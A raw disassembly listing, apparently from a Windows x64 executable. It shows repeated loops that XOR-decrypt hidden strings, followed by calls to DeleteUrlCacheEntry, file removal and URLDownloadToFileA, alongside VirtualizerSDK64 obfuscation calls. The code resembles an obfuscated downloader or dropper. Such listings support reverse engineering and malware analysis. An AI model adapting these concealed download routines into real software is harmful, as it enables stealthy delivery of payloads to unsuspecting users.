psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x14005bd60
cmp r8d, 0x2f
jge 0x14005be91
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x14005be60
mov rcx, r10
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
cmp byte [reloc.VirtualizerSDK64.dll_Ordinal_1], r15b
je 0x14005c471
lea rdx, [rbp + 0xf10]
lea rcx, [rbp + 0x61]
call fcn.140063560
mov r10, rax
cmp byte [rax + 0x17], r15b
je 0x14005c001
cmp r13d, 2
jl 0x14005bfca
movdqa xmmword [rbp], xmm11
mov edx, r15d
mov r8d, dword [rbp]
mov rcx, rax
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x18
jl 0x14005bee0
jmp 0x14005c001
mov r9, r10
mov r8d, r15d
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x14005bfd0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, [rbp + 0xe50]
lea rcx, [rbp + 0x62]
call fcn.140063560
mov rbx, rax
cmp byte [rax + 0x17], r15b
je 0x14005c171
cmp r13d, 2
jl 0x14005c13a
movdqa xmmword [rbp], xmm11
mov edx, r15d
mov r8d, dword [rbp]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x18
jl 0x14005c050
jmp 0x14005c171
mov r9, rbx
mov r8d, r15d
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x14005c140
lea rdx, [rbp + 0x3258]
lea rcx, [rbp + 0x63]
call fcn.140063580
mov r10, rax
cmp byte [rax + 0x29], r15b
je 0x14005c2e1
mov r8d, r15d
cmp r13d, 2
jl 0x14005c2a1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x14005c1b0
cmp r8d, 0x2a
jge 0x14005c2e1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x2a
jl 0x14005c2b0
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, [rbp + 0x3228]
lea rcx, [rbp + 0x64]
call fcn.1400635c0
mov r10, rax
cmp byte [rax + 0x2a], r15b
je 0x14005c461
mov r8d, r15d
cmp r13d, 2
jl 0x14005c421
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x14005c330
cmp r8d, 0x2b
jge 0x14005c461
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x2b
jl 0x14005c430
mov rcx, r10
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov byte [0x140086dfc], 1
cmp byte [0x140086dfd], r15b
je 0x14005ca61
lea rdx, [rbp + 0xf28]
lea rcx, [rbp + 0x65]
call fcn.140063600
mov r10, rax
cmp byte [rax + 0x18], r15b
je 0x14005c5f1
mov r8d, r15d
cmp r13d, 2
jl 0x14005c5b1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x14005c4c0
cmp r8d, 0x19
jge 0x14005c5f1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x14005c5c0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, [rbp + 0xf68]
lea rcx, [rbp + 0x66]
call fcn.140063600
mov rbx, rax
cmp byte [rax + 0x18], r15b
je 0x14005c761
mov r8d, r15d
cmp r13d, 2
jl 0x14005c721
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x14005c630
cmp r8d, 0x19
jge 0x14005c761
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x14005c730
lea rdx, [rbp + 0x31a0]
lea rcx, [rbp + 0x67]
call fcn.140063630
mov r10, rax
cmp byte [rax + 0x26], r15b
je 0x14005c8d1
mov r8d, r15d
cmp r13d, 2
jl 0x14005c891
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14005c7a0
cmp r8d, 0x27
jge 0x14005c8d1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x27
jl 0x14005c8a0
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, [rbp + 0x31f8]
lea rcx, [rbp + 0x68]
call fcn.1400635c0
mov r10, rax
cmp byte [rax + 0x2a], r15b
je 0x14005ca51
mov r8d, r15d
cmp r13d, 2
jl 0x14005ca11
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x14005c920
cmp r8d, 0x2b
jge 0x14005ca51
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x2b
jl 0x14005ca20
mov rcx, r10
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov byte [0x140086dfc], 1
cmp byte [0x140086e39], r15b
je 0x14005d041
lea rdx, [rbp + 0xeb0]
lea rcx, [rbp + 0x69]
call fcn.140063670
mov r10, rax
cmp byte [rax + 0x17], r15b
je 0x14005cbd1
cmp r13d, 2
jl 0x14005cb9a
movdqa xmmword [rbp], xmm11
mov edx, r15d
mov r8d, dword [rbp]
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x18
jl 0x14005cab0
jmp 0x14005cbd1
mov r9, r10
mov r8d, r15d
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x14005cba0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, [rbp + 0xec8]
lea rcx, [rbp + 0x6a]
call fcn.140063670
mov rbx, rax
cmp byte [rax + 0x17], r15b
je 0x14005cd41
cmp r13d, 2
jl 0x14005cd0a
movdqa xmmword [rbp], xmm11
mov edx, r15d
mov r8d, dword [rbp]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x18
jl 0x14005cc20
jmp 0x14005cd41
mov r9, rbx
mov r8d, r15d
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x14005cd10
lea rdx, [rbp + 0x3128]
lea rcx, [rbp + 0x6b]
call fcn.140063690
mov r10, rax
cmp byte [rax + 0x25], r15b
je 0x14005ceb1
mov r8d, r15d
cmp r13d, 2
jl 0x14005ce71
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14005cd80
cmp r8d, 0x26
jge 0x14005ceb1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x26
jl 0x14005ce80
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, [rbp + 0x31c8]
lea rcx, [rbp + 0x6c]
call fcn.1400635c0
mov r10, rax
cmp byte [rax + 0x2a], r15b
je 0x14005d031
mov r8d, r15d
cmp r13d, 2
jl 0x14005cff1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x14005cf00
cmp r8d, 0x2b
jge 0x14005d031
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x2b
jl 0x14005d000
mov rcx, r10
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov byte [0x140086dfc], 1
call fcn.140011990
call qword [sym.imp.VirtualizerSDK64.dll_Ordinal_28]
call qword [sym.imp.VirtualizerSDK64.dll_Ordinal_2]
cmp byte [0x140086dfc], r15b
je 0x14005d4d0
call qword [sym.imp.VirtualizerSDK64.dll_Ordinal_1]
call qword [sym.imp.VirtualizerSDK64.dll_Ordinal_27]
lea rdx, [rbp + 0xf0]
mov byte [reloc.VirtualizerSDK64.dll_Ordinal_1], r15b
lea rcx, [rbp + 0x6d]
mov byte [0x140086dff], r15b
mov byte [0x140086dfb], r15b
mov byte [0x140086e3b], r15b
call fcn.140062c80
movzx ecx, byte [rax + 4]
